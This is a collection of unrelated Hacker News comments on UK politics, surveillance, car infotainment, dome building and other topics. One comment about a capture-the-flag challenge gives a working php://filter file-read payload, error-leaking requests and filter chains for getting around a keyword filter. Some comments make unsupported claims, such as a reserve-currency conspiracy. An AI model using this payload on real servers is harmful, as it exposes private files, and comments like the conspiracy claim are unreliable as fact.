skysight-inc/HackerNews huggingface dataset:
I've been moving more and more to the notion that freedom of speech is an all or nothing proposition. On a technical level when dealing with systems that protect the transfer of information such as encryption, this is an absolute, because the technology that provides the security (and thus freedom) cares not the content and any backdoor would destroy all integrity regardless of how it is used. But there has been a notion that laws, rights, and duties do not have the same requirement. We can build compromises in the laws, so we should be able to create a system where only the stuff that should be banned is banned and all other speech is free, no? But now I doubt that, as any ban sacrifices the integrity of the entire system. Maybe in theory it is still possible, but as many of us have seen time and time again, theory and practice differ far more in practice than in theory.

From this, I've moved to adopting an ever stricter view of all speech as being free. I will not say it is perfect as it does have flaws. But the flaws are a small price to pay to ensure one of the axiomatic rights is defended. For without free speech, we lose the power to criticize, to discuss, to be democratic.

While I know the author isn't regarded quite as highly in the UK and the US, I think the following passage captures the importance of the exchange of information being free.

>The basis of our governments being the opinion of the people, the very first object should be to keep that right; and were it left to me to decide whether we should have a government without newspapers or newspapers without a government, I should not hesitate a moment to prefer the latter.
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I think one of the reasons was tuition fees which the Lib Dems were very much against. The moment they got into power (2010) - fees were hiked to £9k per year and many people treated that like a broken Lim Dem promise
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Yeah, if anything I think this is a more empathetic approach. While consulting, I've seen companies that are afraid of firing, or even talking about firing, because they want to be "nice". That's obviously bad for the organization, as problem people make messes and drive good employees away.

But it's also bad for the people who eventually get fired. Once the situation has soured, going in every day to face hostile or angry people and wondering if it will be your last day is a terrible experience. I've seen it warp troubled people further.

Personally, the thing I'd add to this is to try to help people find something better. Often the problem isn't "fundamentally bad human" it's "human/position mismatch". Firing someone doesn't have to feel like a funeral.
The messes that callback/promise-heavy JavaScript make are a good example of why we need syntactic abstraction in the language. With a proper macro system, this whole async mess could be abstracted away and we could write nice linear code.
Cool!

Though, one of those double eco-domes is a pretty ambitious project for a weekend DIY-er. It's a whole tatooine house!^

What I had in mind is say, a 3-4 meter (diameter) dome with one door, one small window. How long would that take 1 parent + 2 (lazy goodfornothing) teens? Another small project might be 1.5m walls to surround an existing gazebo or emote other backyard structure. IE, something that's undeniably a building but is accessible, ideally as far under 1,000 man-hours as possible.

^If you build one of these, please don't leave out the below surface courtyard. It's essential!
CarPlay is not great.

I don't have any experience with Android Auto or MirrorLink, but I installed a Pioneer head unit (AVX-4000NEX) a few months ago in my car so I could use CarPlay.

The head unit itself is great, gets good reception, sounds great (especially after using the microphone calibration), and the Pioneer interface is fine. I don't know that it's worth the price without considering the deep phone integration. I considered reinstalling the factory head unit (a Scion Bespoke w/ navigation), but I had sold it before I could come to a decision.

CarPlay would work great if Siri worked well, but I've never been able to get Siri to work well in the car or elsewhere (and that assumes Siri is taking requests at the moment). Text-to-speech works fine; dictation is a constant frustration. The other week, I tried to send a message to my wife that "I am in a little traffic so I'm running late, but should be there at 5:20". I don't recall the erroneous outputs generated by Siri, but they weren't even close. After multiple tries, I had to give up. The Maps colors are idiotically low contrast and it can be very difficult to see what current traffic conditions are as a result. The zoom levels in Maps never seem to be right, either too much or too little. The touch interface itself requires too much attention to use and is a car accident waiting to happen.

CarPlay has a long way to go before it is competitive with iDrive, MyFord Touch, or Uvo, which are the systems that I've experienced. My experience with CarPlay makes me question how much testing it actually got while installed in cars with people driving, because there's a lot of glaring usability problems and general interface quirks that should have been caught during testing.

I used to think that CarPlay, Android Auto, and MirrorLink were going to destroy the car maker's infotainment systems. After using CarPlay, I'm convinced it's going to be a while before that happens, if ever. The car manufacturers have a lot of experience with "car UX" and aren't standing still with their own products. Infotainment is also a minor part of the entire car ownership and use experience, and I don't know that I can think of anyone that bought or leased a car because "it has iDrive" or whatever. Drawing an analogy between car manufacturers and 1985 IBM feels forced and is flawed.
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oh great Hacker News Hive Mind, not long ago (in cosmic terms anyway, probably like 4 years ago) there was a link to a short story about

* young girl on Earth who accepts an invitation to leave the planet shortly before its doom

* girl joins the consciousness that saved her and is basically uploaded into a cosmic computer of sorts

* they can go active or dormant, allowing them to experience the universe in realtime or timelapse along with the billions of other saved minds (earthly and non-earthly)

* something starts gobbling up the distributed nodes that the saved minds occupy

* just before the end of the universe, the girl and her companion get abducted by this unknown thing that turns out to be <spoiler removed>

Something happened recently that triggered a memory of it and I wanted to track it down. I have googled and googled and googled, but I'm not finding it, so I am finally resorting to this.

Can anyone point me in the right direction?!

You're the best.
Semen.
Ah the irony of this happening in George Orwell's own country.

I think Orwell intended it as an extreme dystopian vision meant to serve as a cautionary tale for future generations.

Instead it seems that our leaders are using it as a blue print for a technological panopticon that could way beyond what even Orwell imagined.
Probably true in most cases. I hate when sites do this because it prevents me from hitting backspace to leave, but I get it.
On a side note, i find myself reminded of a TED talk.

Mostly because it held a story about the lady out buying a handbag, and using her detailed knowledge of brands to get the seller to bring out ever better copies of a certain brand from storage.

I wonder how much this falls within a culture of haggling.

(Now lets see if i can find the right one...)
Hey, "first do it", man :)

If you think React could be a good fit, simply use it. Comparing frameworks is very time-consuming and doesn't get you any closer to your goals. Actually, any framework is better than pause-deciding-which! :)
That doesn't square up with the article or anything I've heard about Kijiji's success in Canada. Can you point to anything supporting the assertions?
Level11.tasteless.eu/index.php – need help with “Hard”
I've already solved "Easy" - http://level11.tasteless.eu/index.php?file=php://filter/convert.base64-encode/resource=config.easy.inc.php

I was told that the "Hard" version is essentially the same as "Easy", except that the keyword "php" is filtered, so "Easy"'s solution won't work anymore, ie. I can imagine something like `preg_match("/php/i", $file)` is filtering it on "Hard" version.

__errors I managed to trigger__

http://level11.tasteless.eu/index.php?hard=1&file[]=test.txt

Warning: trim() expects parameter 1 to be string, array given in /var/www/chall/level11/index.php on line 32

http://level11.tasteless.eu/index.php?hard=0&file[0]="php://filter/convert.base64-encode/resource=config.easy.inc.php

Warning: preg_match() expects parameter 2 to be string, array given in /var/www/chall/level11/index.php on line 35

...these show the path of the file, as well as functions to bypass

__filter functions that work__

convert.base64-encode, convert.base64-decode, zlib.deflate, bzip2.compress
I would encourage UK based people to join the various pressure groups and political organisations (e.g. the Liberal Democrat party, the Open Rights Group etc) that campaign (and in the case of the LibDems actually vote in the commons against) against the sort of Stasist legislation that Cameron's government is trying to push through.

Do remember that the UK's informal version of a constitution does not allow the Lords a lot of scope to change or reject e.g. the Snoopers charter. (It is convention that the Lords doesn't oppose things that were in the ruling party's manifesto..) Therefore there is not a lot of time to act on these issues.
One theory I've heard is the way votes are counted.

I've heard that UKIP had around 3.881.129 votes and got only one seat, Green party with 1.157.613 won a single seat and Scottish national party had 1.454.436 votes and got 56 seats.

I'm not sure it's plausible, but it could be a valid explanation.
Thanks, somehow I missed that.

> The question of water is not so much how do we protect the building from water but rather how do we harvest the resource of water from the building!

"Harvesting" water from the building is certainly an interesting idea!

> as condensation from warm interiors onto cold surfaces will likely be an issue

That's a good point.

What's your opinion on the feasibility of this building technique for urban areas (in say, Western Europe)? I can imagine it to be hard to get a permit for building such a dome, as it doesn't blend in with the surrounding structures. Other than that, the low cost make it very attractive.
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Hard to say. As a stay at home mum I felt unfulfilled and lonely. In the early years of returning to work full time I felt guilty for leaving my child in daycare. Working at home (with a mix of juggling kids and some daycare) I felt isolated and over-worked.

I'm actually in the process of working my notice at my current job so that I can return to working from home, but as it stands I have no intention of reducing my son's hours in childcare.

I'd like to think that I can find a balance between working (for mental satisfaction as well as financial reasons) and time with my youngest outside of childcare, but this depends on my success in the coming months. If nothing else my son starts school in September 2016 so at least I won't have a ~£645 childcare bill each month :)
My personal opinion:

The Liberal Democrats did extremely well at implementing some of their policies (notably increased personal allowance), obsoleting that part of their manifesto. I think they are right to be proud of that record, but it means that some of their strongest policies are now irrelevant.

The Liberal Democrats did extremely poorly at implementing some of their promises (notably tuition fees), going back on their word and making themselves non-credible in these respects, obsoleting the other part of their manifesto.

The Liberal Democrats were not observed to take any position that would contradict the two major parties during the election campaign. They were criticised for being "blank tiles", easily able to meld with either of the major parties in coalition. A vote for the Liberal Democrats could easily be a vote for the worse of two evils, whichever side you think that is. And many (former?) Liberal Democrats would think that the worse evil would be their coalition partner.

The major parties and UKIP have been very effective in pushing an anti-immigrant and anti-human rights agenda with the help of the press. The Liberal Democrats did not appear willing to stand openly against this in the election campaign.

During the election debates, the Green Party, Scottish Nationalist Party, and Plaid Cymru made a convincing claim to stand for human rights. The Liberal Democrats did not.
Communication Is Key as Realtors, Lenders Adjust to New Disclosure Requirements
So, is V for Vendetta still legal in UK?
Depends on the context. I joined a startup, and then a year later, we were acquired even though we weren't profitable.

It was the best thing that happened to us! The credibility allowed us to target larger deals; the HR department improved our hiring; our founders didn't need to go office shopping because there were offices for us to move into.

Granted, every situation is different.
A SMALL PLACE TO DISCOVER LANGUAGES IN GITHUB
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It amused me to be reading this article at my school, using my own proxy server because the bbc.co.uk website is blocked!
I might be missing something important here. But according to their pricing page[1], a preemtible VM with 30GB memory costs $86.4 a month.

Why would someone go for this when cheap dedicated host providers like hetzner etc offer powerful dedicated servers with 64GB memory and multicore server grade CPUs? The comparison only gets worse taking into account that Google's offering is preemptible and can shutdown and come up as they wish.

[1]: https://cloud.google.com/compute/#pricing (0.12x24x30)
Good luck in your new country but this looks like a global trend to me.
Come join Ireland. BYO NHS.
(Peer) review is the problem. Everyone's working hard to sound as intelligent and rigorous as possible, which often means committing literary atrocities. I'm writing my master thesis right now with passive voice and everything. Just because that's the way it should be done, apparently.

I've jokingly considered exchanging "time" with "temporal dimension main anthropoperceptory vector". It does sound more impressive, doesn't it? It's such a masquerade.
Some BIOSes doesn't work with NKRO enabled. If yours does, you can safely enable it.
Even now, if we take him to a grocery shop, his conspicuous behaviors would cause people to stare at him.

I sincerely hope you still take him to the grocery shop. My daughter stims, makes loud noises, has OCD behaviors, may hit her head, etc. and I make a point of taking her to the stores several times a week. While it's good for her to practice being in public, I also want the public to see her and that there are others like her. As people with autism being in public becomes less of a novelty, other children and adults will eventually learn how not to stare, or in some situations how to help.
In the run-up to the 2010 election, they promised to oppose any rise in tuition fees, then reneged on this in government.

On its own, that's probably not that significant, but it appears to have helped cement their reputation as untrustworthy, not least among those who thought they were voting for a party more left-wing than Labour have become in recent years.
No it isn't. There's no API and the IOS app is iPhone native, runs in emulation on the iPad. No mapping capability and scarce development and support of third-party solutions due to the limited market.

Kijiji is loaded with intrusive ads and spammed by retail stores with no way to filter. The interface is awful, with tiny thumbnails and no compensation for vision problems.

Classic Beta/VHS story. Kijiji has market share in Canada as its only advantage. My fellow Canadians are ignorant idiots for using an inferior product.
Upvoting comments has the side-effect of logging them to your profile. Sometimes I specifically upvote an item just to log it.

But, when you accidentally downvote something (meaning that you meant to upvote it), then you can never save that comment because you cannot undue a downvote.
Yes, fake diplomas, work references, receipts, IDs, online presence, etc has always been a lucrative business. There's just more competition and they seem to hide better (not doing everything under one company is a good start, lol).
Don't you know yet that neurobiology has shown that free will/agency is a myth? (I'm also replying here to all the other comments about a so-called "choice") These women are culturally conditioned to think it's acceptable for them to not contribute back to society by being producers and they perpetuate making gender roles culturally acceptable.
Can someone help me out here: I'm a bit rusty on my set builder notation... Is the following correct?

The set of natural numbers isn't a group because a group is a set partially defined by { ∀a∃b | a + b = 0 } - or in other words for every element a in the group there exists an element b in the group such that a + b = 0; or to put it yet another way, every element a has an element b that is its arithmetic inverse. As the set of natural numbers are only positive, you can't satisfy this condition.
That's the current model I'm using, thinking it'd be cheaper for most users. I'm not doing any pre-buying yet but was planning to, however now I'm considering a subscription model.
We are not there yet. When one boils a frog one must increase the temperature slowly.
In addition to the "got blame but no credit" answer that others have offered I would also suggest that they have previously been the preferred "none of the above" response for people who wanted to express dissatisfaction with either Tories or Labour depending on who happened to be the more popular party in their riding; by being somewhat between they two major parties they picked up a lot of votes from dissatisfied by somewhat engaged voters. Once they were a part of government they were a part of 'the establishment' and so the protest votes went ukip or green depending on the voter's base political preference.
Additionally, one of the biggest problems with copying code is that it will break when the two versions get out of sync. Test code inherently protects you against this, by virtue of having 100% test coverage, itself.
A second foreign policy adviser to Mr Romney said: “Cameron’s contacts with Republicans are really quite limited, and have been going back to when [George W.] Bush was president.” The adviser added: “In many respects Cameron is like Obama.”

http://www.telegraph.co.uk/news/politics/david-cameron/94274...

I think we need to be honest with ourselves and realize:

A) The US and the UK are basically operating under the same "security at any cost except raising taxes" mindset.

B) The logical conclusion of that mindset is to take away freedoms, minimize restrictions on law enforcement, minimize restrictions on espionage, and maximize government's ability to control the message to avoid "leaks".

The only real difference is the US was attempting to do it domestically under the radar with tactics like parallel construction that allowed them to bypass the firewall between domestic law enforcement and foreign intelligence.

It seems Cameron has decided to take the opposite approach and say "Fuck it, we are doing this openly and publicly." We'll hack machines, we'll suppress speech of anyone we consider a danger, and anything else we have to. The really sad part is there is a large segment of both country's populations who will go along with it just because it promises to make them "safer" and ignores the fact terrorists are as dangerous as lightning strikes with pre-9/11 procedures and funding.

Is it really worth giving up freedom to reduce the risk of a threat that is fundamentally less dangerous to the population at-large than lighting strikes or bee stings? Especially given that to do so we are removing safeguards that protect the general population from law enforcement whom kill more people (particularly in the US, in the UK the numbers are much closer) than terrorists?

http://www.cato.org/blog/youre-eight-times-more-likely-be-ki...

http://www.telegraph.co.uk/news/uknews/terrorism-in-the-uk/9...
A friend of mine, a very smart local restaurant owner, had a long talk broadly on this subject yesterday. We both believe the same thing: 1) the US government and other major governments have been negotiating and executing for a long time on a smooth as possible transition from the US dollar being the world's reserve currency to using special drawing rights (SDRs) as the reserve currency. 2) This will badly effect the economy of the USA for several years and the economies of other countries for a much shorter readjustment period of time. 3) A lot of moves to reduce privacy and rights is an attempt to make sure that society remains civil during this transition. 4) It is crazy to not be at least a little prepared by having 3 or 4 weeks of water and food in your home just in case there are supply disruptions.

We also talked about the normalization bias of most people we know - people are so uncomfortable talking about this that they simply deny the possibility of this happening. Best thing: do a little prep work, try not to take on new debt, and after preparing live life and don't worry about the future.
Isn't it rather obvious? For in-building navigation (think large hospitals, universities, skyscrapers, etc.)
I agree that the youtube video you linked is not at all convincing as an example of genuine communication.

I don't know anything about Philip's path to get where he is now, but there are a number of videos of Philip using his current method of communication, which appears to be typing on a bluetooth keyboard to an ipad app that repeats his letters and words back to him.

The mom holds the keyboard, but Philip moves his own hand. Mom seems to use a lot of cues to help him keep on track--shaking the keyboard to bring him back to it, repeating his words back to him--but I really don't see her writing it for him, moving the keyboard under his finger to spell things, or "interpreting" vague gestures.

https://www.youtube.com/watch?v=MK_Q60LhgzA

This one has several minutes of typing where you can see the keyboard and his hand. It's slow, slow going, but it really looks like he's the one doing the writing.
I am not sure of the context in which Cameron's quote came from, but societies and governments interfere all the time in activities that are legal. Take smoking tobacco for example, totally legal yet there is tremendous effort put into discouraging this activity.
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Well, no cables, for one. It's not a huge complaint, but fewer cables on the desk is a beautiful thing. Also, easier transport.
Yeah, I added it to bdutil since it was clearly useful and yet well understood that it would do the right thing. I'd love to see more cluster and machine management tools deal with "machines can come and go".

The guys on the go team are using it for their buildbots (http://build.golang.org) which was already prepared for the box to die.
Absolutes are a powerful thing, in rules, in law, in communication and in all sorts of other ways. Absolutes make all sorts of things easier. Laws deal with them easier. Technology too. Compromises and caveats are trickier.

That's kind of what rights and freedoms are supposed to be, some abstract fundamentals we can all agree on that don't need much detail or qualifications.

The pursuit of absolutes (or ideals) is a problem though. Trying to stick them where they don't fit is a problem.